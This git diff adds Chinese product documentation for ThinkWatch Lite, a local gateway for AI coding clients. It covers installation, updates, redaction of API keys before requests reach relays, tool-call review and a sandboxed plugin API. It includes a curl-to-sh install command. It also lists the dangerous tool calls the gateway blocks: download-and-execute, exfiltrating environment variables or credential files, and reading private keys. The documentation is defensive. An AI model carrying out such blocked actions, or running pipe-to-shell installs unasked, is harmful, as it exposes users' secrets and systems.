`ThinkWatch-Lite-<版本>-windows-arm64-portable.zip`),与同页发布的 sha256 校验值核对后解压到任意可写入的文件夹,运行其中的 `ThinkWatch Lite.exe`。压缩包里只有 `ThinkWatch Lite.exe` 与网关 `twcore.exe` 两个文件。 + +配置、密钥与请求记录保存在程序旁边的 `data\` 文件夹中,与安装版的 `%APPDATA%\ThinkWatch` 互不相干,两者是两套独立的设置。文件夹不可写入时,应用会提示并退出。 + +绿色版同样未经代码签名,首次运行时 SmartScreen 的处理与安装程序相同。绿色版不附带 WebView2(Windows 11 已自带);缺少时应用会说明,并可打开微软的下载页面。 + +安装版与绿色版同一时间只运行一个。已有一个在运行时打开另一个,可以停止正在运行的那一个:它等进行中的请求结束后退出,新打开的这一个随即启动。`thinkwatch://` 链接与开机启动始终指向正在运行的那一个,开机启动的开关由两者共用。 + +卸载时先在「设置 › 完全卸载」中卸载,还原已接管的客户端、移除开机启动项等注册项,再删除整个文件夹。 + +## Linux + +```bash +curl -fsSL https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest/download/install.sh | sh +``` + +脚本下载与本机架构对应的 AppImage,与同页发布的 sha256 校验值核对后安装为 `~/Applications/ThinkWatch-Lite.AppImage` 并启动。再次运行即用最新版本覆盖旧版本。 + +手动安装时,从 [最新版本的 release 页面](https://github.com/ThinkWatchProject/ThinkWatch-Lite/releases/latest)下载 `ThinkWatch-Lite-<版本>-linux-x86_64.AppImage` 或 `ThinkWatch-Lite-<版本>-linux-aarch64.AppImage`,用 `sha256sum -c` 核对后允许其执行(`chmod +x`,或在文件管理器的「属性」中勾选「允许作为程序执行文件」),然后打开。AppImage 应放在当前用户可写的目录中(如 `~/Applications`),以便自动更新替换。首次启动时会把 ThinkWatch Lite 添加到应用菜单,同时注册图标和 `thinkwatch://` 链接。Linux 版只发布 AppImage,不提供 deb、rpm、Flatpak 或 Snap 包。 + +需要 Ubuntu 22.04、Debian 12、Fedora 36 或同代及更新的发行版。AppImage 通过 FUSE 挂载自身,需要 fuse3 软件包中的 `fusermount3`(不需要 libfuse2)。多数桌面系统已自带;如缺少: + +| 发行版 | 命令 | +|---|---| +| Ubuntu、Debian | `sudo apt install fuse3` | +| Fedora | `sudo dnf install fuse3` | +| Arch Linux | `sudo pacman -S fuse3` | +| openSUSE | `sudo zypper install fuse3` | + +托盘图标依赖 AppIndicator。Ubuntu 已自带对应的 GNOME 扩展;Fedora 原生 GNOME 没有,需要另行安装 AppIndicator 扩展。没有托盘时,关闭窗口后网关继续运行,从应用菜单再次启动 ThinkWatch Lite 即可重新打开窗口。数据保存在 `~/.thinkwatch`。 + +- **NVIDIA 显卡在 Wayland 下窗口空白**:以 `WEBKIT_DISABLE_DMABUF_RENDERER=1` 启动应用。 +- **局域网内其他机器无法连接网关**:Fedora 默认启用的 firewalld 会拦截网关端口,需放行该端口;网关监听局域网时,设置页会给出相应提示。 +- **卸载**:先在「设置 › 完全卸载」中卸载,恢复应用接管过的客户端配置,并删除开机启动项和应用菜单项;再删除 AppImage 文件。 + +## 更新 + +应用启动两分钟后检查一次新版本,此后每天检查一次,只读取一份很小的版本清单。自动检查可以在「设置 › 关于」中关闭。 + +自动检查发现新版本时,应用会将其列入提醒,并发送一条系统通知;「设置 › 通用」中的提醒设为「仅在应用内」时只列入提醒,设为「关闭」时两者都没有。点按这条提醒或系统通知、菜单栏或托盘菜单中的「安装新版本」,或「设置 › 关于」中的「更新到」,都会打开更新窗口;在同一菜单或「设置 › 关于」中选择「检查更新」,发现新版本时也会立即打开它。之后的处理方式取决于安装方式。 + +**在 macOS 上从 release 页面下载安装的**:点击一次安装按钮,其余步骤自动完成——下载更新包,用编译进应用的公钥验签,等待网关正在处理的请求结束(最多三分钟),然后替换并重新启动。正在输出的任务不会因更新而中断。 + +**Windows 安装版**:同样点击一次即可。应用下载新版本的安装程序,用编译进应用的公钥验签,同样等待进行中的请求结束,然后运行安装程序,安装完成后新版本自动启动。应用为所有用户安装,因此每次更新 Windows 都会请求管理员权限;拒绝则继续运行当前版本。 + +**Windows 绿色版**:同样点击一次即可,不需要管理员权限。应用下载新版本的压缩包,用编译进应用的公钥验签,等待进行中的请求结束,然后替换文件夹中的两个程序文件并重新启动;替换失败时换回原来的文件,继续运行当前版本。 + +**Linux 上**:同样点击一次即可,不需要输入密码。应用下载新版本的 AppImage,用编译进应用的公钥验签,等待进行中的请求结束,然后替换自身文件并重新启动。AppImage 须位于当前用户可写的目录中。 + +**用 Homebrew 安装的**:窗口给出更新命令和复制按钮,应用不会替换自身。Homebrew 记录着它放入 `/Applications` 的版本,应用自行替换后,下一次 `brew upgrade` 会把旧版本写回。通过 Homebrew 安装的应用只在 tap 已包含新版本时才会提示更新,因此给出的命令一定有可安装的内容: + +```bash +brew update && brew upgrade --cask thinkwatch-lite +``` + +命令先执行 `brew update`,是因为 `brew upgrade` 自身最多每天刷新一次 tap。 + +## 下一步 + +- [概览](/zh-CN/docs/lite):应用展示什么。 +- [从源码构建](/zh-CN/docs/lite/run-from-source):在本机运行开发版本。 +- [连接远程 core](/zh-CN/docs/lite/remote-core):使用部署在服务器上的网关。 +- [架构](/zh-CN/docs/lite/architecture):应用的结构,以及它与 Core 的通信方式。 diff --git a/src/content/docs-lite/zh-CN/keep-api-keys-from-relays.md b/src/content/docs-lite/zh-CN/keep-api-keys-from-relays.md new file mode 100644 index 0000000..7590b9b --- /dev/null +++ b/src/content/docs-lite/zh-CN/keep-api-keys-from-relays.md @@ -0,0 +1,34 @@ +# 防止中转站拿到请求中的 API 密钥,并拦截危险的工具调用 + +中转站能看到请求的全部内容,包括混进对话中的密钥,例如粘贴进来的 `.env` 文件、工具读取的配置文件。ThinkWatch Lite 的出站脱敏在请求离开本机之前查找这些凭据,在「替换」档下改为发送 `<>` 这样的占位符,回答中出现占位符时再还原为原值。工具调用审查检查上游返回的工具调用,在「切断」档下,下载即执行、外发凭据之类的调用在客户端执行之前即被拦下。 + +## 准备 + +- 已[安装](/zh-CN/lite/#install) ThinkWatch Lite,并已接管客户端,请求经过网关。本文按 2026.10.6 版编写。 +- 两项防护出厂均为「观察」:只记录检出的内容,不做任何改动。「关闭」档不检查也不记录。 + +## 步骤 + +1. 打开安全页。「日志」标签列出各项防护检出的内容及其所属的请求;两档使用同一套规则,因此先在「观察」档下运行几天,即可看出切换到「替换」后会改动哪些内容。 +2. 打开「出站脱敏」标签。内置规则可以逐条启用或停用,「测试…」对粘贴的文本显示「发出的内容」。 +3. 内置规则未覆盖的密钥格式,选择「新建规则」,填写「名称」、「匹配(正则表达式)」和「占位符名称」(例如 `INTERNAL`,替换为 `<>`),然后选择「创建」。 +4. 把标签顶部的档位切换到「替换」。 +5. 打开「工具调用审查」标签。每条内置规则的处置为「切断」或「仅记录」,可以在「查看规则」中修改。把档位切换到「切断」。 +6. 此后日志的「处置」一栏显示「已替换」或「已切断」;调用被切断时还会发送系统通知。自 ThinkWatch Lite 2026.10.12 起,记录可以在原处展开,显示命中的位置与替换成的占位符,或被切断的工具调用及客户端收到的提示。 + +## 说明 + +| 档位 | 出站脱敏 | 工具调用审查 | +|---|---|---| +| 「观察」(出厂) | 检出的内容记入日志,请求原样发出。 | 命中的调用记入日志,照常返回。 | +| 「替换」/「切断」 | 检出的内容替换为占位符后发出,响应中的占位符还原为原值。 | 命中「切断」规则的调用不会完整到达客户端;「仅记录」规则仍只记录。 | + +- **出站脱敏的范围。**查找整个请求,包括系统提示、之前的对话和工具调用,但不查找图片等 base64 数据。内置规则覆盖 Anthropic、OpenAI、GitHub、Slack、AWS(访问密钥 ID)、Google、GitLab、Stripe、npm、DigitalOcean、SendGrid 的 API 密钥与令牌,私钥、JWT、连接串中的口令,以及号码结构与校验位都正确的身份证号和银行卡号。邮箱地址、中国大陆手机号、内网地址、内部域名四条规则出厂为停用。 +- **原值如何还原。**同一个值在整个请求中只对应一个占位符,无论发往哪个上游都不变。模型在文字或工具调用参数中写回的占位符,在交给客户端之前还原:用到这把密钥的命令在本机以原值执行,中转站始终只看到占位符。 +- **哪些调用会被切断。**下载或解码后执行代码、外发环境变量或凭据文件、读取私钥或云凭据、把凭据发往陌生主机、写入启动项或安装定时任务的调用。删除主目录或根目录、开放全部写权限、上传本地文件三类内置规则出厂只记录。 +- **中转站仍能看到的内容。**应用中为该上游配置的密钥,以及请求的其余内容,例如代码、文件内容和对话,均按原样发给中转站。客户端连接网关所用的密钥不会转发;客户端的身份信息也不转发,除非在该上游上打开「转发客户端身份」。 +- **只按规则匹配。**只有命中规则的值才会被替换;没有固定前缀的凭据(例如 AWS 私有访问密钥)需要自定义规则。写法不在任何规则之内的危险命令,工具调用审查拦不住。 +- **看不到网关之外。**中转站在自己的服务器上做了什么,例如留存请求、换用其他模型作答,各项防护无从得知。上游页在上游名称旁标出的「模型名不符」等偏差可以显示后者的迹象,但不能证明。 +- **动手的代价。**请求内容改变后,上游的提示缓存可能无法命中;「切断」档下误判时,回答会在该调用处中断。 + +相关文档:[功能详解](/zh-CN/docs/lite/features/#安全)(含第三项防护内容过滤)、[安装与更新](/zh-CN/docs/lite/install/)。 diff --git a/src/content/docs-lite/zh-CN/overview.md b/src/content/docs-lite/zh-CN/overview.md new file mode 100644 index 0000000..5aec106 --- /dev/null +++ b/src/content/docs-lite/zh-CN/overview.md @@ -0,0 +1,43 @@ +# ThinkWatch Lite + +ThinkWatch Lite 是 Claude Code、Codex 等 AI 客户端的本地网关,支持 macOS、Windows 与 Linux。客户端只需接入一次,此后在网关中更换上游与模型,无需改动客户端。每个请求的费用与去向都有记录,发出前可替换其中的 API 密钥。 + +> 支持 macOS 12 及以上(Apple silicon)、Windows 10 21H2 及以上(x64、ARM64)和 Linux(x86_64、aarch64),可用 Homebrew、磁盘映像、Windows 安装程序、Windows 绿色版或 AppImage [安装](/zh-CN/docs/lite/install),安装后自动更新。 + +## 要点 + +- **一次接入,随时切换。** 十二款客户端可一键指向网关,写入前预览改动并备份原文件;Cursor、Continue 与 Antigravity CLI 提供配置说明。 +- **防范中转站。** 中转站能看到每个请求,也能改写每一次回答。出站脱敏可在请求发出前替换其中的凭据、身份证号与银行卡号;回答中出现下载即执行、外发凭据文件之类的危险工具调用时,工具调用审查可在客户端执行前切断回答。内容过滤可删除客户端发送内容中夹带指令的隐藏字符;三项防护出厂均只记录。 +- **扫描 MCP、技能与钩子。** 十三款客户端的 MCP 服务器并列显示,并扫描客户端配置中的隐藏字符、提示注入、危险命令与过宽权限。 +- **插件。** 用简短的 JavaScript 插件调整请求与回答,例如要求用指定的语言回答、在 WSL 与 Windows 之间转换路径。插件在沙箱中运行,只看到占位符而看不到密钥,每一处改动都有记录。 +- **每个请求都可追溯。** 命中的规则、每一次尝试、格式转换与费用都有记录,也可以重放到另一个上游对比;全部请求记录都可以搜索,包括请求与回答的内容。 +- **路由与故障转移。** 按模型、工具、图片等条件分流;回答开始前上游出错时换用下一个,同一会话固定使用同一上游。 +- **多种上游。** API 密钥、Amazon Bedrock、ChatGPT 与 Z.ai 账号、中转服务与本机模型,Anthropic、OpenAI、Gemini 接口之间自动转换。 +- **费用如实计算。** 估算的金额单独标注,无法计价的请求单独计数,不按零计入。 + +## 页面 + +| 页面 | 内容 | +|---|---| +| 概览 | 一段时间内的 token、费用、缓存命中、请求、首 token 时间与流量,需要处理的事,以及按模型、上游或密钥的明细 | +| 流量 | 逐条请求或按会话归组的请求,以及每个请求的详情 | +| 客户端 | 把客户端指向网关,以及还原 | +| 密钥 | 客户端连接网关所用的密钥,及其路由与限制 | +| 上游 | 上游及其余额与额度、出站代理与价目表 | +| 路由 | 路由、规则与策略组,辅助请求,以及试算 | +| 安全 | 安全日志,以及三项防护及其规则 | +| MCP | 各客户端的 MCP 服务器、技能与钩子,以及配置扫描 | +| 插件 | 改写请求与回答的 JavaScript 插件,及其权限、试运行与日志 | +| 设置 | 连接、语言、外观、菜单栏、提醒、网关监听、日志保留、更新与卸载 | + +各页的详细说明见[功能详解](/zh-CN/docs/lite/features)。 + +## 延伸阅读 + +- [安装与更新](/zh-CN/docs/lite/install) +- [连接远程 core](/zh-CN/docs/lite/remote-core):网关本体是 [ThinkWatch Core](/zh-CN/docs/core),随应用在本机运行,也可以部署在 Linux 服务器上。 +- [插件](/zh-CN/docs/lite/plugins):编写插件、插件的权限及其运行的沙箱。 +- [架构](/zh-CN/docs/lite/architecture):Lite 不含路由、转发与计费逻辑,通过加密的控制通道控制 Core。 +- [从源码构建](/zh-CN/docs/lite/run-from-source) + +ThinkWatch Lite 采用 MIT 许可证。 diff --git a/src/content/docs-lite/zh-CN/plugins.md b/src/content/docs-lite/zh-CN/plugins.md new file mode 100644 index 0000000..1337f19 --- /dev/null +++ b/src/content/docs-lite/zh-CN/plugins.md @@ -0,0 +1,341 @@ +# 插件 + +插件让请求和回答适应具体的使用场景:在系统提示词中附加说明、去掉某个上游不接受的参数、要求用指定的语言回答,或者在 WSL 与 Windows 之间改写工具调用里的路径。插件是一段简短的 JavaScript,在 core 内部的沙箱中运行,看到的是占位符而不是请求里的密钥;它做的每一处改动都记录在请求上,并和客户端发来的内容一样经过各项防护的检查。 + +本页说明插件能改什么、在哪一步运行、如何添加和编辑、编写插件的接口、权限、限额与安全模型。应用自带两个插件,出厂均为关闭,末尾逐一说明。 + +## 插件能改什么 + +| 方向 | 可以改动的内容 | +|---|---| +| 请求,发往上游之前 | 系统提示词;对话消息,含工具结果和此前工具调用的参数;工具定义;模型、`max_tokens`、`temperature`、`top_p` 与 `stop`。插件也可以拒绝这次请求。 | +| 回答,交给客户端之前 | 回答的文字,可以整段处理,也可以随流式输出逐段处理;回答里的工具调用,可以修改、删除或新增。 | + +无论客户端使用哪种接口格式(Anthropic Messages、OpenAI Chat Completions、OpenAI Responses 或 Gemini),插件看到的都是同一种结构。插件默认处理对话:生成回答的请求,以及携带同一段对话的计算 token 数请求与 Responses 压缩请求。声明了它们的插件还处理嵌入与旧版补全,可以修改每一项输入的文字,见[嵌入与旧版补全](#嵌入与旧版补全)。其他接口(例如图片、音频)不经过任何插件,原样转发。 + +Codex 通过 WebSocket 使用 Responses 接口时,插件同样生效:每个 `response.create` 经过请求钩子,每次回答经过回答钩子。一条连接沿用它建立时的插件。其他 WebSocket 连接(例如 Realtime 接口)不经过插件。 + +core 按客户端自己的格式写回改动,只动改过的条目,缓存标记、签名、图片和不认识的字段都保持原样。没有被任何插件改动的请求逐字节原样转发,不影响上游的提示词缓存。 + +请求头、上游地址与凭据不对插件开放。图片只提供媒体类型,不提供内容;思考内容只读,不能修改。 + +## 插件在哪一步运行 + +请求先按客户端发来的原样路由:路由规则、规则对模型的改名、策略组的故障转移、同一会话固定使用同一上游,以及密钥的可用模型,依据的都是客户端的原始请求,插件改变不了请求的去向。之后,每次把请求发往一个上游之前: + +1. 把请求里的密钥替换为占位符; +2. 从客户端发来的原始请求开始,按列表顺序运行适用范围覆盖这一次发送的请求钩子,运行之后换回占位符; +3. 插件改动了请求时,内容过滤(包括隐藏字符规则)再检查一遍,只报告插件加入的内容;拦截时整个请求被拒绝,不会转到别的上游; +4. 需要时转换为上游的格式,经过出站脱敏后发出。 + +一次发送失败、请求转到另一个上游时,请求钩子从客户端的原始请求重新运行,为一个上游做的改动不会带到另一个上游。向同一个上游重发(例如登录令牌刷新后的重试)时,沿用请求钩子已有的结果。 + +插件修改模型时,只改变这一次发往上游的模型名,效果与路由规则改名相同,并取代规则改过的名字。请求不会重新路由,也不再核对上游的模型列表,但密钥的可用模型依然有效:改成密钥不可用的模型时,请求被拒绝。 + +回答一侧,回答钩子在回答转换为客户端的格式之后、工具调用审查之前运行。 + +## 添加与编辑插件 + +每个插件是一个文件,插件的一切都写在其中:代码、处理哪些请求、出错时如何处理,以及每个设置项的取值。单凭这个文件就能完整描述插件,复制文件时设置也随之带走。只有插件是否启用不写在文件里,它是应用中的一个开关。 + +在插件所在行选择「设置」即打开它的编辑器。编辑器分为两页,只有一个「保存」: + +- **设置**:「启用」开关、「适用范围」、「出错时」的处理方式,以及插件自己的设置项。除「启用」外,这一页的更改都写回代码中的 manifest:应用只改写 manifest,文件中的其他字节保持原样。 +- **代码**:完整的文件内容。输入停顿时,core 重新读取代码,「设置」页随之更新。代码无法加载时,标出出错的行号与列号,「设置」页等到代码能够加载之后才能修改。 + +在两页之间切换时,未保存的更改都会保留,保存时一并写入。 + +「添加插件」打开同一个编辑器,从「代码」页开始,里面是一个可以直接安装的简单插件。在这里修改或粘贴代码,或者用右上角的「从文件导入…」载入文件,选择「安装」即安装插件。新插件的「设置」页多一项「插件 ID」:小写字母、数字和连字符,最多 40 个,按文件名或插件名预先填好,安装后不可修改。新插件安装后处于关闭状态,除非安装前打开了「启用」。插件只能从本地文件或粘贴的代码安装,不支持通过链接安装,没有插件市场,也不会自动更新。 + +「插件」页还提供: + +- **顺序**:插件按列表顺序依次运行,可在「调整顺序」中拖动或用箭头更改。后一个看到的是前一个改过的结果,各自按自己的权限核对。 +- **试运行**:用请求历史中最近的一条请求运行插件,按这条请求当时的路由(作答的上游和发给它的模型名),显示改动前后的请求或回答以及插件日志。试运行不发往上游,也不计入统计。 +- **日志**:插件通过 `console` 写下的最近 500 行。 +- **统计**:网关启动以来的运行次数、改写次数、拒绝次数、出错次数和平均 CPU 时间。 + +「流量」页中,被插件改动过的请求带有标记。请求详情按每一次发送分组列出运行过的插件、各自的结果(未改动、已改写、已拒绝、出错或已跳过)与 CPU 时间,并可以对照客户端发来的原始请求和发往作答上游的请求。插件出错时发送提醒。 + +应用连接[远程 core](/zh-CN/docs/lite/remote-core) 时,插件安装在服务器上,也在服务器上运行。 + +### 在系统对话框中确认 + +日常的更改直接保存。只有能改动工具调用的插件(拥有 `reply.tool_calls` 权限)需要在系统对话框中确认,而且只限四种操作:安装、打开、保存对代码的更改,以及确认在应用之外对文件所做的更改。代码更改前后任何一版拥有这项权限,都要确认,因此新增 `reply.tool_calls` 同样要确认;读不出权限的插件按拥有这项权限对待。 + +系统对话框由应用自身弹出,不属于页面。对话框写明插件名称、它能做什么和这次改动的内容;涉及新代码时,还给出代码 SHA-256 哈希的开头部分,可与应用中显示的对照。core 只接受经过系统对话框的这四种操作,注入页面的脚本无法自行完成。 + +以下更改都无须系统对话框:任何插件的设置项、适用范围和出错时的处理方式,关闭插件、调整顺序和删除,以及安装、打开和编辑不能改动工具调用的插件。在应用中编辑配置文件,或者从版本历史恢复某个版本,都不能安装能改动工具调用的插件、打开它或更改它的代码;这类更改在那里会被拒绝,须在「插件」页进行。 + +### 文件在应用之外被改动时 + +插件只按确认过的样子运行。core 为每个插件保留一份确认过的副本及其 SHA-256 哈希,在应用中保存时,文件、副本与哈希一同更新。文件在应用之外被改动或删除后,插件在几秒内停止运行,状态显示为「文件已更改」。「审核更改」列出与确认过的副本之间的差异,选择「确认更改」后插件恢复运行;也可以在插件的编辑器中保存,用编辑器里的代码写回文件。 + +## 编写插件 + +插件是一个 UTF-8 编码的 ES 模块文件,不超过 1 MiB,导出 `manifest` 和一个或多个钩子函数;manifest 描述插件,同时保存它的配置。 + +```js +export const manifest = { + name: "附加项目说明", + api: 1, + description: "在系统提示词末尾附上这里填写的说明。", + permissions: ["system"], + match: { clients: ["claude-code"], models: [], upstreams: [] }, + on_error: "reject", + settings: { + notes: { type: "string", label: "说明内容", value: "使用 pnpm,不用 npm。" }, + }, +}; + +export function onRequest(req, ctx) { + const notes = String(ctx.settings.notes).trim(); + if (notes === "") return; // 没有要附加的内容:请求原样发出 + req.system = req.system ? `${req.system}\n\n${notes}` : notes; + return req; +} +``` + +### manifest + +| 字段 | 必填 | 取值 | +|---|---|---| +| `name` | 是 | 1 至 64 个字符。 | +| `api` | 是 | `1`,目前唯一支持的版本。 | +| `description` | 否 | 不超过 500 个字符。 | +| `permissions` | 是 | `system`、`messages`、`tools`、`params`、`reply.text`、`reply.tool_calls` 中的一项或多项,见[权限](#权限)。 | +| `requests` | 否 | 插件处理的请求种类:`conversation`(对话)、`embeddings`(嵌入)、`completions`(旧版补全)中的一项或多项。缺省时只处理对话,见[嵌入与旧版补全](#嵌入与旧版补全)。 | +| `match` | 否 | [适用范围](#适用范围):`clients`、`models`、`upstreams` 三个列表,每个最多 100 项,`*` 匹配任意一串字符;列表缺省或为空表示全部。对应「设置」页的「适用范围」。 | +| `on_error` | 否 | `"reject"`(默认)或 `"skip"`:插件出错时如何处理,见[插件出错时](#插件出错时)。对应「设置」页的「出错时」。 | +| `reply` | 否 | `"block"`(默认)或 `"stream"`,决定 `onReplyText` 以何种方式接收文字。 | +| `settings` | 否 | 最多 20 项,名称由字母、数字和 `_` 组成,不以数字开头,每项包含 `type`(`string`、`number` 或 `boolean`)、`label`(纯文本,不超过 100 个字符)与 `value`,即当前的取值(缺省时为 `""`、`0` 或 `false`)。取值在「设置」页填写,通过 `ctx.settings` 传给插件。字符串的取值可以有多行,不超过 10,000 个字符。 | + +插件是否启用不在 manifest 中,它是应用中的「启用」开关。 + +manifest 是纯数据,因此 core 可以直接从源码中读出它,应用也无须运行代码就能改写它。它是一个对象字面量,取值只能是字符串、数字、`true`、`false`、`null`、列表和嵌套的对象;键写成名称或带引号的字符串,允许结尾的逗号。表达式、变量、函数调用、展开、计算出的键、getter,以及带 `${}` 的模板字符串都不是数据:manifest 中用到它们的文件无法加载,声明之后又在代码中改动 manifest 的文件同样无法加载。 + +改写只替换 manifest 字面量,其余每个字节都保持原样。字面量按固定的格式写回,即本页示例所用的格式;其中的注释不会保留,关于设置项的说明应写在 manifest 上方。 + +文件在添加时和每次被 core 加载时都会检查:必须导出有效的 manifest(不能有上表以外的字段)和至少一个钩子。导出的每个钩子都要有对应的权限,申请的每项权限也都要有用到它的钩子,插件不会申请用不到的权限;`onReplyTextEnd` 还要求同时导出 `onReplyText` 并使用逐段模式。未通过检查的文件不会安装,错误信息尽可能给出行号和列号。 + +### 适用范围 + +适用范围即 manifest 中的 `match`,在「设置」页的「适用范围」中编辑,编辑时会提示网关已知的客户端、模型和上游。 + +| 列表 | 匹配的对象 | +|---|---| +| `clients` | 请求来自的客户端,即请求记录上的客户端,例如 `claude-code`。识别不出客户端的请求只与空列表匹配。 | +| `models` | 发往上游的模型名,即路由规则改名之后的名字。 | +| `upstreams` | 这一次发送的上游。 | + +三个列表对请求钩子和回答钩子都适用,匹配时不区分大小写。请求钩子按每一次发送判断是否在适用范围内:发生故障转移时,限定了上游的插件只在发往这些上游时运行。一次发送要运行哪些请求钩子,在其中任何一个运行之前就已确定,前面的插件改了模型名,不影响后面运行哪些请求钩子;回答钩子按作答上游实际收到的模型名匹配。此外,插件只处理它在 `requests` 中声明的请求种类。 + +### 钩子 + +| 钩子 | 权限 | 调用时机 | +|---|---|---| +| `onRequest(req, ctx)` | `system`、`messages`、`tools` 或 `params` | 路由之后,每次把请求发往一个上游之前。 | +| `onReplyText(text, ctx)` | `reply.text` | 处理回答中的文字。 | +| `onReplyTextEnd(ctx)` | `reply.text` | 逐段模式下,每段文字结束时调用。可选。 | +| `onToolCall(call, ctx)` | `reply.tool_calls` | 回答中的每个工具调用完整之后调用。 | + +**`onRequest`** 接收[请求视图](#请求视图),返回改过的视图;不返回则请求保持原样。调用 `reject("原因")` 拒绝这次请求,客户端收到注明插件名称的错误;`reject` 通过抛出异常结束钩子,即使插件自己接住这个异常,拒绝依然成立。每次把请求发往一个上游之前调用一次,详见[插件在哪一步运行](#插件在哪一步运行)。除了生成回答的请求,计算 token 数的请求(`/v1/messages/count_tokens`、Gemini 的 `countTokens` 与 Responses 接口的 `input_tokens`)和 Responses 的压缩请求携带的是同一段对话,也经过它,插件删去的内容不会经由这些接口发出。这些请求只采用插件对模型的修改,不采用对其他 `params` 的修改,因为这些接口不接受那些参数。网关自行估算、不发往上游的 token 计数不运行插件。 + +**`onReplyText`** 在整段模式(默认)下,每段文字到齐后调用一次,参数是整段文字,调用结束后文字才交给客户端。逐段模式下随流式输出逐段调用,返回值是此刻要发出的文字;返回 `""` 表示先扣住,这段文字结束时 `onReplyTextEnd` 的返回值把扣住的内容放出。非流式的回答一次传入全部文字,逐段模式下随后再调用 `onReplyTextEnd`。不返回表示文字不变。 + +**`onToolCall`** 接收 `{ id, name, input }`。流式输出的参数先收集完整,处理后按客户端的格式发出。不返回表示保持原样;返回一个对象替换这个调用;返回 `null` 删除它;返回一个数组则替换为多个调用。缺少 `id` 的由 core 生成。 + +回答钩子只在对话的回答上运行。思考内容不交给插件,原样交给客户端。 + +钩子可以是 `async` 函数,也可以返回 Promise:Promise 在同一次调用内、同样的限额之下落定;始终不落定的 Promise 按出错处理。 + +### 请求视图 + +```ts +type RequestView = { + format: "anthropic" | "openai_chat" | "openai_responses" | "gemini"; // 只读 + model: string; // 只读;修改模型要通过 params.model + system?: string; // 授予 "system" 时提供;没有系统提示词时为 "" + messages?: Message[]; // 授予 "messages" 时提供 + tools?: Tool[]; // 授予 "tools" 时提供 + params?: Params; // 授予 "params" 时提供 +}; +type Message = { key?: string; role: "user" | "assistant" | "tool" | "system"; parts: Part[] }; +type Part = + | { key?: string; type: "text"; text: string } + | { key?: string; type: "thinking"; text: string } // 只读 + | { key?: string; type: "tool_call"; id: string; name: string; input: unknown } // input 可改 + | { key?: string; type: "tool_result"; call_id: string; text: string; is_error: boolean } // text 可改 + | { key?: string; type: "image"; media_type: string | null } // 只读,不含图片数据 + | { key?: string; type: "other"; label: string }; // 只读 +type Tool = { key?: string; name: string; description: string; input_schema: unknown }; +type Params = { model: string; max_tokens?: number; temperature?: number; top_p?: number; stop?: string[] }; +``` + +`model` 与 `params.model` 是这一次将要发往上游的模型名,与 `ctx.model` 相同。`system` 是对话开头的系统指令:Anthropic Messages 的 `system` 字段、Chat Completions 开头的 system 或 developer 消息、Responses 的 `instructions`、Gemini 的 `systemInstruction`。设为 `""` 即删除。只含工具结果的消息角色为 `tool`,对话中途出现的 system 或 developer 消息角色为 `system`。 + +core 为每条消息、每个片段和每个工具分配一个 `key`。改动规则如下: + +- 要修改的消息、片段或工具保留原来的 `key`,新增的不带 `key`。出现未知或重复的 `key` 按出错处理。 +- 消息可以删除、修改或新增。新增的消息角色只能是 `user`、`assistant` 或 `system`,且只含文字片段。保留下来的消息保持原有的先后顺序和角色。 +- 保留下来的消息里,片段可以删除,可编辑的字段可以修改,也可以新增文字片段。`type`、`id`、`name` 与 `call_id` 不可修改,思考、图片和其他片段整体不可修改。 +- 工具可以删除或新增,`description` 与 `input_schema` 可以修改,工具名称不能重复。视图只列出客户端自己定义的工具;由接口提供定义的工具(例如网页搜索)不在视图中,保持原样,新增的工具也不能与它们重名。 +- `max_tokens`、`temperature`、`top_p` 与 `stop` 可以修改或删除,`params.model` 可以修改。修改 `params.model` 会改变这一次发往上游的模型名,见[插件在哪一步运行](#插件在哪一步运行)。 + +违反规则的结果,或者带有未授权部分的结果,都按出错处理。 + +### 嵌入与旧版补全 + +在 `requests` 中声明了它们的插件,还处理嵌入(OpenAI 的 `/v1/embeddings`,Gemini 的 `:embedContent` 与 `:batchEmbedContents`)和旧版补全(OpenAI 的 `/v1/completions`)。这两种请求的视图结构相同,只是没有系统提示词和工具: + +```ts +type InputsView = { + format: "openai_embeddings" | "openai_completions" | "gemini_embed"; // 只读 + model: string; // 只读;修改模型要通过 params.model + messages?: Message[]; // 授予 "messages" 时提供:每项输入一条 user 消息 + params?: Params; // 授予 "params" 时提供:模型;补全另有 max_tokens、temperature、top_p、stop +}; +``` + +- 每项输入是一条 `user` 消息。OpenAI 的 `input`(嵌入)或 `prompt`(补全)是数组时,每个元素一条,是单个字符串时就是一条;Gemini 的每个 content 一条,content 的每个部分对应一个片段。 +- 只有文字片段的文字可以修改。以 token ID 给出的输入是只读的 `other` 片段,`label` 为 `tokens`;其他不是文字的部分同样只读。 +- 消息和片段不能新增、删除或调换顺序,因为回答按输入逐项对应。 +- `params` 中有模型,补全另有 `max_tokens`、`temperature`、`top_p` 与 `stop`。`suffix`、`dimensions` 等其他字段不提供给插件,保持原样。 + +其余与对话相同:占位符、路由之后按每一次发送运行、修改模型只改变这一次发往上游的模型名、运行记录与试运行。改动过的请求按各项输入的文字,再经过一次内容过滤。这两种请求不运行回答钩子:嵌入的回答不含文字,旧版补全的回答原样转发。 + +`messages` 与 `params` 适用于全部三种请求;`system`、`tools`、`reply.text` 与 `reply.tool_calls` 只适用于对话。出现以下情况时插件无法加载:`requests` 为空、含有未知的种类或同一种类写了两次;声明的某种请求没有任何一项权限用得上(嵌入和旧版补全需要 `messages` 或 `params`);或者某项权限不适用于声明的任何一种请求,例如申请了 `system` 却没有声明 `conversation`。 + +插件没有声明的请求种类不在它的适用范围内:这类请求原样通过,不留记录;无论出错时的处理方式如何,即使插件文件已更改或加载失败,也不会因它被拒绝。 + +### ctx + +```ts +type Ctx = { + client: string | null; // 请求记录上的客户端,例如 "claude-code" + model: string; // 发往上游的模型名,即路由规则或前面的插件改名之后的名字 + requested_model: string; // 客户端请求的模型 + format: "anthropic" | "openai_chat" | "openai_responses" | "gemini" + | "openai_embeddings" | "openai_completions" | "gemini_embed"; // 客户端请求的格式 + upstream: string; // 这一次发送的上游,或作答的上游 + settings: Record; +}; +``` + +`ctx` 已冻结,不能修改。 + +### 可用的 JavaScript + +插件可以使用 JavaScript 标准内置对象,例如 `JSON`、`RegExp`、`Map`、`Date` 与 `Math`;`console.log`、`console.info`、`console.warn` 与 `console.error` 写入插件日志;`reject` 只在 `onRequest` 中有效。没有 `fetch`、`require` 和定时器,`import` 与 `import()` 加载不了任何模块,也无法访问文件、网络、环境变量和进程。沙箱里的时钟是 UTC。插件存进变量的内容,不会留到它所处理的这一次发送或这个回答之后。 + +## 权限 + +权限同时决定插件看得到什么和能改什么。未授权的部分不会交给插件;返回的结果改动了未授权的部分,按出错处理。 